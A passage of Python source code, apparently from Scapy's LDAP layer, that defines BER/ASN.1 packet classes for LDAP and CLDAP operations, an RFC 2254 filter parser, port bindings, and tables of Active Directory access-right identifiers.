= ASN1_Class_LDAP_Authentication.krbv42DSA # sicilyPackageDiscovery class LDAP_Authentication_sicilyPackageDiscovery(ASN1_STRING): tag = ASN1_Class_LDAP_Authentication.sicilyPackageDiscovery class BERcodec_LDAP_Authentication_sicilyPackageDiscovery(BERcodec_STRING): tag = ASN1_Class_LDAP_Authentication.sicilyPackageDiscovery class ASN1F_LDAP_Authentication_sicilyPackageDiscovery(ASN1F_STRING): ASN1_tag = ASN1_Class_LDAP_Authentication.sicilyPackageDiscovery # sicilyNegotiate class LDAP_Authentication_sicilyNegotiate(ASN1_STRING): tag = ASN1_Class_LDAP_Authentication.sicilyNegotiate class BERcodec_LDAP_Authentication_sicilyNegotiate(BERcodec_STRING): tag = ASN1_Class_LDAP_Authentication.sicilyNegotiate class ASN1F_LDAP_Authentication_sicilyNegotiate(ASN1F_STRING): ASN1_tag = ASN1_Class_LDAP_Authentication.sicilyNegotiate # sicilyResponse class LDAP_Authentication_sicilyResponse(ASN1_STRING): tag = ASN1_Class_LDAP_Authentication.sicilyResponse class BERcodec_LDAP_Authentication_sicilyResponse(BERcodec_STRING): tag = ASN1_Class_LDAP_Authentication.sicilyResponse class ASN1F_LDAP_Authentication_sicilyResponse(ASN1F_STRING): ASN1_tag = ASN1_Class_LDAP_Authentication.sicilyResponse _SASL_MECHANISMS = {b"GSS-SPNEGO": GSSAPI_BLOB, b"GSSAPI": GSSAPI_BLOB} class _SaslCredentialsField(ASN1F_STRING_PacketField): def m2i(self, pkt, s): val = super(_SaslCredentialsField, self).m2i(pkt, s) if not val[0].val: return val if pkt.mechanism.val in _SASL_MECHANISMS: return ( _SASL_MECHANISMS[pkt.mechanism.val](val[0].val, _underlayer=pkt), val[1], ) return val class LDAP_Authentication_SaslCredentials(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( LDAPString("mechanism", ""), ASN1F_optional( _SaslCredentialsField("credentials", ""), ), implicit_tag=ASN1_Class_LDAP_Authentication.sasl, ) class LDAP_BindRequest(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("version", 3), LDAPDN("bind_name", ""), ASN1F_CHOICE( "authentication", None, ASN1F_LDAP_Authentication_simple, ASN1F_LDAP_Authentication_krbv42LDAP, ASN1F_LDAP_Authentication_krbv42DSA, LDAP_Authentication_SaslCredentials, ), implicit_tag=ASN1_Class_LDAP.BindRequest, ) class LDAP_BindResponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( *( LDAPResult + ( ASN1F_optional( # For GSSAPI, the response is wrapped in # LDAP_Authentication_SaslCredentials ASN1F_STRING("serverSaslCredsWrap", "", implicit_tag=0xA7), ), ASN1F_optional( ASN1F_STRING("serverSaslCreds", "", implicit_tag=0x87), ), ) ), implicit_tag=ASN1_Class_LDAP.BindResponse, ) @property def serverCreds(self): """ serverCreds field in SicilyBindResponse """ return self.matchedDN.val @serverCreds.setter def serverCreds(self, val): """ serverCreds field in SicilyBindResponse """ self.matchedDN = ASN1_STRING(val) @property def serverSaslCredsData(self): """ Get serverSaslCreds or serverSaslCredsWrap depending on what's available """ if self.serverSaslCredsWrap and self.serverSaslCredsWrap.val: wrap = LDAP_Authentication_SaslCredentials(self.serverSaslCredsWrap.val) val = wrap.credentials if isinstance(val, ASN1_STRING): return val.val return bytes(val) elif self.serverSaslCreds and self.serverSaslCreds.val: return self.serverSaslCreds.val else: return None # Unbind operation # https://datatracker.ietf.org/doc/html/rfc4511#section-4.3 class LDAP_UnbindRequest(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_NULL("info", 0), implicit_tag=ASN1_Class_LDAP.UnbindRequest, ) # Search operation # https://datatracker.ietf.org/doc/html/rfc4511#section-4.5 class LDAP_SubstringFilterInitial(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = LDAPString("val", "") class LDAP_SubstringFilterAny(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = LDAPString("val", "") class LDAP_SubstringFilterFinal(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = LDAPString("val", "") class LDAP_SubstringFilterStr(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "str", ASN1_STRING(""), ASN1F_PACKET( "initial", LDAP_SubstringFilterInitial(), LDAP_SubstringFilterInitial, implicit_tag=0x80, ), ASN1F_PACKET( "any", LDAP_SubstringFilterAny(), LDAP_SubstringFilterAny, implicit_tag=0x81 ), ASN1F_PACKET( "final", LDAP_SubstringFilterFinal(), LDAP_SubstringFilterFinal, implicit_tag=0x82, ), ) class LDAP_SubstringFilter(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( AttributeType("type", ""), ASN1F_SEQUENCE_OF("filters", [], LDAP_SubstringFilterStr), ) _LDAP_Filter = lambda *args, **kwargs: LDAP_Filter(*args, **kwargs) class LDAP_FilterAnd(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SET_OF("vals", [], _LDAP_Filter) class LDAP_FilterOr(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SET_OF("vals", [], _LDAP_Filter) class LDAP_FilterNot(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("val", None, None, next_cls_cb=lambda *args, **kwargs: LDAP_Filter) ) class LDAP_FilterPresent(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = AttributeType("present", "objectClass") class LDAP_FilterEqual(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = AttributeValueAssertion.ASN1_root class LDAP_FilterGreaterOrEqual(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = AttributeValueAssertion.ASN1_root class LDAP_FilterLessOrEqual(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = AttributeValueAssertion.ASN1_root class LDAP_FilterApproxMatch(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = AttributeValueAssertion.ASN1_root class LDAP_FilterExtensibleMatch(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( LDAPString("matchingRule", "", implicit_tag=0x81), ), ASN1F_optional( LDAPString("type", "", implicit_tag=0x81), ), AttributeValue("matchValue", "", implicit_tag=0x82), ASN1F_BOOLEAN("dnAttributes", False, implicit_tag=0x84), ) class ASN1_Class_LDAP_Filter(ASN1_Class): name = "LDAP Filter" # CONTEXT-SPECIFIC + CONSTRUCTED = 0x80 | 0x20 And = 0xA0 Or = 0xA1 Not = 0xA2 EqualityMatch = 0xA3 Substrings = 0xA4 GreaterOrEqual = 0xA5 LessOrEqual = 0xA6 Present = 0x87 # not constructed ApproxMatch = 0xA8 ExtensibleMatch = 0xA9 class LDAP_Filter(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "filter", LDAP_FilterPresent(), ASN1F_PACKET( "and_", None, LDAP_FilterAnd, implicit_tag=ASN1_Class_LDAP_Filter.And ), ASN1F_PACKET( "or_", None, LDAP_FilterOr, implicit_tag=ASN1_Class_LDAP_Filter.Or ), ASN1F_PACKET( "not_", None, LDAP_FilterNot, implicit_tag=ASN1_Class_LDAP_Filter.Not ), ASN1F_PACKET( "equalityMatch", None, LDAP_FilterEqual, implicit_tag=ASN1_Class_LDAP_Filter.EqualityMatch, ), ASN1F_PACKET( "substrings", None, LDAP_SubstringFilter, implicit_tag=ASN1_Class_LDAP_Filter.Substrings, ), ASN1F_PACKET( "greaterOrEqual", None, LDAP_FilterGreaterOrEqual, implicit_tag=ASN1_Class_LDAP_Filter.GreaterOrEqual, ), ASN1F_PACKET( "lessOrEqual", None, LDAP_FilterLessOrEqual, implicit_tag=ASN1_Class_LDAP_Filter.LessOrEqual, ), ASN1F_PACKET( "present", None, LDAP_FilterPresent, implicit_tag=ASN1_Class_LDAP_Filter.Present, ), ASN1F_PACKET( "approxMatch", None, LDAP_FilterApproxMatch, implicit_tag=ASN1_Class_LDAP_Filter.ApproxMatch, ), ASN1F_PACKET( "extensibleMatch", None, LDAP_FilterExtensibleMatch, implicit_tag=ASN1_Class_LDAP_Filter.ExtensibleMatch, ), ) @staticmethod def from_rfc2254_string(filter: str): """ Convert a RFC-2254 filter to LDAP_Filter """ # Note: this code is very dumb to be readable. _lerr = "Invalid LDAP filter string: " if filter.lstrip()[0] != "(": filter = "(%s)" % filter # 1. Cheap lexer. tokens = [] cur = tokens backtrack = [] filterlen = len(filter) i = 0 while i < filterlen: c = filter[i] i += 1 if c in [" ", "\t", "\n"]: # skip spaces continue elif c == "(": # enclosure cur.append([]) backtrack.append(cur) cur = cur[-1] elif c == ")": # end of enclosure if not backtrack: raise ValueError(_lerr + "parenthesis unmatched.") cur = backtrack.pop(-1) elif c in "&|!": # and / or / not cur.append(c) elif c in "=": # filtertype if cur[-1] in "~><:": cur[-1] += c continue cur.append(c) elif c in "~><": # comparisons cur.append(c) elif c == ":": # extensible cur.append(c) elif c == "*": # substring cur.append(c) else: # value v = "" for x in filter[i - 1 :]: if x in "():!|&~<>=*": break v += x if not v: raise ValueError(_lerr + "critical failure (impossible).") i += len(v) - 1 cur.append(v) # Check that parenthesis were closed if backtrack: raise ValueError(_lerr + "parenthesis unmatched.") # LDAP filters must have an empty enclosure () tokens = tokens[0] # 2. Cheap grammar parser. # Doing it recursively is trivial. def _getfld(x): if not x: raise ValueError(_lerr + "empty enclosure.") elif len(x) == 1 and isinstance(x[0], list): # useless enclosure return _getfld(x[0]) elif x[0] in "&|": # multinary operator if len(x) < 3: raise ValueError(_lerr + "bad use of multinary operator.") return (LDAP_FilterAnd if x[0] == "&" else LDAP_FilterOr)( vals=[LDAP_Filter(filter=_getfld(y)) for y in x[1:]] ) elif x[0] == "!": # unary operator if len(x) != 2: raise ValueError(_lerr + "bad use of unary operator.") return LDAP_FilterNot( val=LDAP_Filter(filter=_getfld(x[1])), ) elif "=" in x and "*" in x: # substring if len(x) < 3 or x[1] != "=": raise ValueError(_lerr + "bad use of substring.") return LDAP_SubstringFilter( type=ASN1_STRING(x[0].strip()), filters=[ LDAP_SubstringFilterStr( str=( LDAP_SubstringFilterFinal if i == (len(x) - 3) else ( LDAP_SubstringFilterInitial if i == 0 else LDAP_SubstringFilterAny ) )(val=ASN1_STRING(y)) ) for i, y in enumerate(x[2:]) if y != "*" ], ) elif ":=" in x: # extensible raise NotImplementedError("Extensible not implemented.") elif any(y in ["<=", ">=", "~=", "="] for y in x): # simple if len(x) != 3 or "=" not in x[1]: raise ValueError(_lerr + "bad use of comparison.") if x[2] == "*": return LDAP_FilterPresent(present=ASN1_STRING(x[0])) return ( LDAP_FilterLessOrEqual if "<=" in x else ( LDAP_FilterGreaterOrEqual if ">=" in x else LDAP_FilterApproxMatch if "~=" in x else LDAP_FilterEqual ) )( attributeType=ASN1_STRING(x[0].strip()), attributeValue=ASN1_STRING(x[2]), ) else: raise ValueError(_lerr + "invalid filter.") return LDAP_Filter(filter=_getfld(tokens)) class LDAP_SearchRequestAttribute(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = AttributeType("type", "") class LDAP_SearchRequest(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( LDAPDN("baseObject", ""), ASN1F_ENUMERATED( "scope", 0, {0: "baseObject", 1: "singleLevel", 2: "wholeSubtree"} ), ASN1F_ENUMERATED( "derefAliases", 0, { 0: "neverDerefAliases", 1: "derefInSearching", 2: "derefFindingBaseObj", 3: "derefAlways", }, ), ASN1F_INTEGER("sizeLimit", 0), ASN1F_INTEGER("timeLimit", 0), ASN1F_BOOLEAN("attrsOnly", False), ASN1F_PACKET("filter", LDAP_Filter(), LDAP_Filter), ASN1F_SEQUENCE_OF("attributes", [], LDAP_SearchRequestAttribute), implicit_tag=ASN1_Class_LDAP.SearchRequest, ) class LDAP_AttributeValue(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = AttributeValue("value", "") class LDAP_PartialAttribute(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( AttributeType("type", ""), ASN1F_SET_OF("values", [], LDAP_AttributeValue), ) class LDAP_SearchResponseEntry(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( LDAPDN("objectName", ""), ASN1F_SEQUENCE_OF( "attributes", LDAP_PartialAttribute(), LDAP_PartialAttribute, ), implicit_tag=ASN1_Class_LDAP.SearchResultEntry, ) class LDAP_SearchResponseResultDone(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( *LDAPResult, implicit_tag=ASN1_Class_LDAP.SearchResultDone, ) class LDAP_SearchResponseReference(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF( "uris", [], URI, implicit_tag=ASN1_Class_LDAP.SearchResultReference, ) # Modify Operation # https://datatracker.ietf.org/doc/html/rfc4511#section-4.6 class LDAP_ModifyRequestChange(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_ENUMERATED( "operation", 0, { 0: "add", 1: "delete", 2: "replace", }, ), ASN1F_PACKET("modification", LDAP_PartialAttribute(), LDAP_PartialAttribute), ) class LDAP_ModifyRequest(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( LDAPDN("object", ""), ASN1F_SEQUENCE_OF("changes", [], LDAP_ModifyRequestChange), implicit_tag=ASN1_Class_LDAP.ModifyRequest, ) class LDAP_ModifyResponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( *LDAPResult, implicit_tag=ASN1_Class_LDAP.ModifyResponse, ) # Add Operation # https://datatracker.ietf.org/doc/html/rfc4511#section-4.7 class LDAP_Attribute(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = LDAP_PartialAttribute.ASN1_root class LDAP_AddRequest(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( LDAPDN("entry", ""), ASN1F_SEQUENCE_OF( "attributes", LDAP_Attribute(), LDAP_Attribute, ), implicit_tag=ASN1_Class_LDAP.AddRequest, ) class LDAP_AddResponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( *LDAPResult, implicit_tag=ASN1_Class_LDAP.AddResponse, ) # Delete Operation # https://datatracker.ietf.org/doc/html/rfc4511#section-4.8 class LDAP_DelRequest(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = LDAPDN( "entry", "", implicit_tag=ASN1_Class_LDAP.DelRequest, ) class LDAP_DelResponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( *LDAPResult, implicit_tag=ASN1_Class_LDAP.DelResponse, ) # Modify DN Operation # https://datatracker.ietf.org/doc/html/rfc4511#section-4.9 class LDAP_ModifyDNRequest(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( LDAPDN("entry", ""), LDAPDN("newrdn", ""), ASN1F_BOOLEAN("deleteoldrdn", ASN1_BOOLEAN(False)), ASN1F_optional(LDAPDN("newSuperior", None, implicit_tag=0xA0)), implicit_tag=ASN1_Class_LDAP.ModifyDNRequest, ) class LDAP_ModifyDNResponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( *LDAPResult, implicit_tag=ASN1_Class_LDAP.ModifyDNResponse, ) # Abandon Operation # https://datatracker.ietf.org/doc/html/rfc4511#section-4.11 class LDAP_AbandonRequest(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("messageID", 0), implicit_tag=ASN1_Class_LDAP.AbandonRequest, ) # LDAP v3 # RFC 4511 sect 4.12 - Extended Operation class LDAP_ExtendedResponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( *( LDAPResult + ( ASN1F_optional(LDAPOID("responseName", None, implicit_tag=0x8A)), ASN1F_optional(ASN1F_STRING("responseValue", None, implicit_tag=0x8B)), ) ), implicit_tag=ASN1_Class_LDAP.ExtendedResponse, ) def do_dissect(self, x): # Note: Windows builds this packet with a buggy sequence size, that does not # include the optional fields. Do another pass of dissection on the optionals. s = super(LDAP_ExtendedResponse, self).do_dissect(x) if not s: return s for obj in self.ASN1_root.seq[-2:]: # only on the 2 optional fields try: s = obj.dissect(self, s) except ASN1F_badsequence: break return s # RFC 4511 sect 4.1.11 _LDAP_CONTROLS = {} class _ControlValue_Field(ASN1F_STRING_PacketField): def m2i(self, pkt, s): val = super(_ControlValue_Field, self).m2i(pkt, s) if not val[0].val: return val controlType = pkt.controlType.val.decode() if controlType in _LDAP_CONTROLS: return ( _LDAP_CONTROLS[controlType](val[0].val, _underlayer=pkt), val[1], ) return val class LDAP_Control(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( LDAPOID("controlType", ""), ASN1F_optional( ASN1F_BOOLEAN("criticality", False), ), ASN1F_optional(_ControlValue_Field("controlValue", "")), ) # RFC 2696 - LDAP Control Extension for Simple Paged Results Manipulation class LDAP_realSearchControlValue(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("size", 0), ASN1F_STRING("cookie", ""), ) _LDAP_CONTROLS["1.2.840.113556.1.4.319"] = LDAP_realSearchControlValue # [MS-ADTS] class LDAP_serverSDFlagsControl(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_FLAGS( "flags", None, [ "OWNER", "GROUP", "DACL", "SACL", ], ) ) _LDAP_CONTROLS["1.2.840.113556.1.4.801"] = LDAP_serverSDFlagsControl # LDAP main class class LDAP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("messageID", 0), ASN1F_CHOICE( "protocolOp", LDAP_SearchRequest(), LDAP_BindRequest, LDAP_BindResponse, LDAP_SearchRequest, LDAP_SearchResponseEntry, LDAP_SearchResponseResultDone, LDAP_AbandonRequest, LDAP_SearchResponseReference, LDAP_ModifyRequest, LDAP_ModifyResponse, LDAP_AddRequest, LDAP_AddResponse, LDAP_DelRequest, LDAP_DelResponse, LDAP_ModifyDNRequest, LDAP_ModifyDNResponse, LDAP_UnbindRequest, LDAP_ExtendedResponse, ), # LDAP v3 only ASN1F_optional( ASN1F_SEQUENCE_OF("Controls", None, LDAP_Control, implicit_tag=0xA0) ), ) show_indent = 0 @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 4: # Heuristic to detect SASL_Buffer if _pkt[0] != 0x30: if struct.unpack("!I", _pkt[:4])[0] + 4 == len(_pkt): return LDAP_SASL_Buffer return conf.raw_layer return cls @classmethod def tcp_reassemble(cls, data, *args, **kwargs): if len(data) < 4: return None # For LDAP, we would prefer to have the entire LDAP response # (multiple LDAP concatenated) in one go, to stay consistent with # what you get when using SASL. remaining = data while remaining: try: length, x = BER_len_dec(BER_id_dec(remaining)[1]) except (BER_Decoding_Error, IndexError): return None if length and len(x) >= length: remaining = x[length:] if not remaining: pkt = cls(data) # Packet can be a whole response yet still miss some content. if ( LDAP_SearchResponseEntry in pkt and LDAP_SearchResponseResultDone not in pkt ): return None return pkt else: return None return None def hashret(self): return b"ldap" @property def unsolicited(self): # RFC4511 sect 4.4. - Unsolicited Notification return self.messageID == 0 and isinstance( self.protocolOp, LDAP_ExtendedResponse ) def answers(self, other): if self.unsolicited: return True return isinstance(other, LDAP) and other.messageID == self.messageID def mysummary(self): if not self.protocolOp or not self.messageID: return "" return ( "%s(%s)" % ( self.protocolOp.__class__.__name__.replace("_", " "), self.messageID.val, ), [LDAP], ) bind_layers(LDAP, LDAP) bind_bottom_up(TCP, LDAP, dport=389) bind_bottom_up(TCP, LDAP, sport=389) bind_bottom_up(TCP, LDAP, dport=3268) bind_bottom_up(TCP, LDAP, sport=3268) bind_layers(TCP, LDAP, sport=389, dport=389) # CLDAP - rfc1798 class CLDAP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( LDAP.ASN1_root.seq[0], # messageID ASN1F_optional( LDAPDN("user", ""), ), LDAP.ASN1_root.seq[1], # protocolOp ) def answers(self, other): return isinstance(other, CLDAP) and other.messageID == self.messageID bind_layers(CLDAP, CLDAP) bind_bottom_up(UDP, CLDAP, dport=389) bind_bottom_up(UDP, CLDAP, sport=389) bind_layers(UDP, CLDAP, sport=389, dport=389) # [MS-ADTS] sect 3.1.1.2.3.3 LDAP_PROPERTY_SET = { uuid.UUID( "C7407360-20BF-11D0-A768-00AA006E0529" ): "Domain Password & Lockout Policies", uuid.UUID("59BA2F42-79A2-11D0-9020-00C04FC2D3CF"): "General Information", uuid.UUID("4C164200-20C0-11D0-A768-00AA006E0529"): "Account Restrictions", uuid.UUID("5F202010-79A5-11D0-9020-00C04FC2D4CF"): "Logon Information", uuid.UUID("BC0AC240-79A9-11D0-9020-00C04FC2D4CF"): "Group Membership", uuid.UUID("E45795B2-9455-11D1-AEBD-0000F80367C1"): "Phone and Mail Options", uuid.UUID("77B5B886-944A-11D1-AEBD-0000F80367C1"): "Personal Information", uuid.UUID("E45795B3-9455-11D1-AEBD-0000F80367C1"): "Web Information", uuid.UUID("E48D0154-BCF8-11D1-8702-00C04FB96050"): "Public Information", uuid.UUID("037088F8-0AE1-11D2-B422-00A0C968F939"): "Remote Access Information", uuid.UUID("B8119FD0-04F6-4762-AB7A-4986C76B3F9A"): "Other Domain Parameters", uuid.UUID("72E39547-7B18-11D1-ADEF-00C04FD8D5CD"): "DNS Host Name Attributes", uuid.UUID("FFA6F046-CA4B-4FEB-B40D-04DFEE722543"): "MS-TS-GatewayAccess", uuid.UUID("91E647DE-D96F-4B70-9557-D63FF4F3CCD8"): "Private Information", uuid.UUID("5805BC62-BDC9-4428-A5E2-856A0F4C185E"): "Terminal Server License Server", } # [MS-ADTS] sect 5.1.3.2.1 LDAP_CONTROL_ACCESS_RIGHTS = { uuid.UUID("ee914b82-0a98-11d1-adbb-00c04fd8d5cd"): "Abandon-Replication", uuid.UUID("440820ad-65b4-11d1-a3da-0000f875ae0d"): "Add-GUID", uuid.UUID("1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd"): "Allocate-Rids", uuid.UUID("68b1d179-0d15-4d4f-ab71-46152e79a7bc"): "Allowed-To-Authenticate", uuid.UUID("edacfd8f-ffb3-11d1-b41d-00a0c968f939"): "Apply-Group-Policy", uuid.UUID("0e10c968-78fb-11d2-90d4-00c04f79dc55"): "Certificate-Enrollment", uuid.UUID("a05b8cc2-17bc-4802-a710-e7c15ab866a2"): "Certificate-AutoEnrollment", uuid.UUID("014bf69c-7b3b-11d1-85f6-08002be74fab"): "Change-Domain-Master", uuid.UUID("cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd"): "Change-Infrastructure-Master", uuid.UUID("bae50096-4752-11d1-9052-00c04fc2d4cf"): "Change-PDC", uuid.UUID("d58d5f36-0a98-11d1-adbb-00c04fd8d5cd"): "Change-Rid-Master", uuid.UUID("e12b56b6-0a95-11d1-adbb-00c04fd8d5cd"): "Change-Schema-Master", uuid.UUID("e2a36dc9-ae17-47c3-b58b-be34c55ba633"): "Create-Inbound-Forest-Trust", uuid.UUID("fec364e0-0a98-11d1-adbb-00c04fd8d5cd"): "Do-Garbage-Collection", uuid.UUID("ab721a52-1e2f-11d0-9819-00aa0040529b"): "Domain-Administer-Server", uuid.UUID("69ae6200-7f46-11d2-b9ad-00c04f79f805"): "DS-Check-Stale-Phantoms", uuid.UUID("2f16c4a5-b98e-432c-952a-cb388ba33f2e"): "DS-Execute-Intentions-Script", uuid.UUID("9923a32a-3607-11d2-b9be-0000f87a36b2"): "DS-Install-Replica", uuid.UUID("4ecc03fe-ffc0-4947-b630-eb672a8a9dbc"): "DS-Query-Self-Quota", uuid.UUID("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"): "DS-Replication-Get-Changes", uuid.UUID("1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"): "DS-Replication-Get-Changes-All", uuid.UUID( "89e95b76-444d-4c62-991a-0facbeda640c" ): "DS-Replication-Get-Changes-In-Filtered-Set", uuid.UUID("1131f6ac-9c07-11d1-f79f-00c04fc2dcd2"): "DS-Replication-Manage-Topology", uuid.UUID( "f98340fb-7c5b-4cdb-a00b-2ebdfa115a96" ): "DS-Replication-Monitor-Topology", uuid.UUID("1131f6ab-9c07-11d1-f79f-00c04fc2dcd2"): "DS-Replication-Synchronize", uuid.UUID( "05c74c5e-4deb-43b4-bd9f-86664c2a7fd5" ): "Enable-Per-User-Reversibly-Encrypted-Password", uuid.UUID("b7b1b3de-ab09-4242-9e30-9980e5d322f7"): "Generate-RSoP-Logging", uuid.UUID("b7b1b3dd-ab09-4242-9e30-9980e5d322f7"): "Generate-RSoP-Planning", uuid.UUID("7c0e2a7c-a419-48e4-a995-10180aad54dd"): "Manage-Optional-Features", uuid.UUID("ba33815a-4f93-4c76-87f3-57574bff8109"): "Migrate-SID-History", uuid.UUID("b4e60130-df3f-11d1-9c86-006008764d0e"): "msmq-Open-Connector", uuid.UUID("06bd3201-df3e-11d1-9c86-006008764d0e"): "msmq-Peek", uuid.UUID("4b6e08c3-df3c-11d1-9c86-006008764d0e"): "msmq-Peek-computer-Journal", uuid.UUID("4b6e08c1-df3c-11d1-9c86-006008764d0e"): "msmq-Peek-Dead-Letter", uuid.UUID("06bd3200-df3e-11d1-9c86-006008764d0e"): "msmq-Receive", uuid.UUID("4b6e08c2-df3c-11d1-9c86-006008764d0e"): "msmq-Receive-computer-Journal", uuid.UUID("4b6e08c0-df3c-11d1-9c86-006008764d0e"): "msmq-Receive-Dead-Letter", uuid.UUID("06bd3203-df3e-11d1-9c86-006008764d0e"): "msmq-Receive-journal", uuid.UUID("06bd3202-df3e-11d1-9c86-006008764d0e"): "msmq-Send", uuid.UUID("a1990816-4298-11d1-ade2-00c04fd8d5cd"): "Open-Address-Book", uuid.UUID( "1131f6ae-9c07-11d1-f79f-00c04fc2dcd2" ): "Read-Only-Replication-Secret-Synchronization", uuid.UUID("45ec5156-db7e-47bb-b53f-dbeb2d03c40f"): "Reanimate-Tombstones", uuid.UUID("0bc1554e-0a99-11d1-adbb-00c04fd8d5cd"): "Recalculate-Hierarchy", uuid.UUID( "62dd28a8-7f46-11d2-b9ad-00c04f79f805" ): "Recalculate-Security-Inheritance", uuid.UUID("ab721a56-1e2f-11d0-9819-00aa0040529b"): "Receive-As", uuid.UUID("9432c620-033c-4db7-8b58-14ef6d0bf477"): "Refresh-Group-Cache", uuid.UUID("1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8"): "Reload-SSL-Certificate", uuid.UUID("7726b9d5-a4b4-4288-a6b2-dce952e80a7f"): "Run-Protect_Admin_Groups-Task", uuid.UUID("91d67418-0135-4acc-8d79-c08e857cfbec"): "SAM-Enumerate-Entire-Domain", uuid.UUID("ab721a54-1e2f-11d0-9819-00aa0040529b"): "Send-As", uuid.UUID("ab721a55-1e2f-11d0-9819-00aa0040529b"): "Send-To", uuid.UUID("ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501"): "Unexpire-Password", uuid.UUID( "280f369c-67c7-438e-ae98-1d46f3c6f541" ): "Update-Password-Not-Required-Bit", uuid.UUID("be2bb760-7f46-11d2-b9ad-00c04f79f805"): "Update-Schema-Cache", uuid.UUID("ab721a53-1e2f-11d0-9819-00aa0040529b"): "User-Change-Password", uuid.UUID("00299570-246d-11d0-a768-00aa006e0529"): "User-Force-Change-Password", uuid.UUID("3e0f7e18-2c7a-4c10-ba82-4d926db99a3e"): "DS-Clone-Domain-Controller", uuid.UUID("084c93a2-620d-4879-a836-f0ae47de0e89"): "DS-Read-Partition-Secrets", uuid.UUID("94825a8d-b171-4116-8146-1e34d8f54401"): "DS-Write-Partition-Secrets", uuid.UUID("4125c71f-7fac-4ff0-bcb7-f09a41325286"): "DS-Set-Owner", uuid.UUID("88a9933e-e5c8-4f2a-9dd7-2527416b8092"): "DS-Bypass-Quota", uuid.UUID("9b026da6-0d3c-465c-8bee-5199d7165cba"): "DS-Validated-Write-Computer", } # [MS-ADTS] sect 5.1.3.2 and # https://learn.microsoft.com/en-us/windows/win32/secauthz/directory-services-access-rights LDAP_DS_ACCESS_RIGHTS = { 0x00000001: "CREATE_CHILD", 0x00000002: "DELETE_CHILD", 0x00000004: "LIST_CONTENTS", 0x00000008: "WRITE_PROPERTY_EXTENDED", 0x00000010: "READ_PROP", 0x00000020: "WRITE_PROP", 0x00000040: "DELETE_TREE", 0x00000080: "LIST_OBJECT", 0x00000100: "CONTROL_ACCESS", 0x00010000: "DELETE", 0x00020000: "READ_CONTROL", 0x00040000: "WRITE_DAC", 0x00080000: "WRITE_OWNER", 0x00100000: "SYNCHRONIZE", 0x01000000: "ACCESS_SYSTEM_SECURITY", 0x80000000: "GENERIC_READ", 0x40000000: "GENERIC_WRITE", 0x20000000: "GENERIC_EXECUTE", 0x10000000: "GENERIC_ALL", } # Small CLDAP Answering machine: 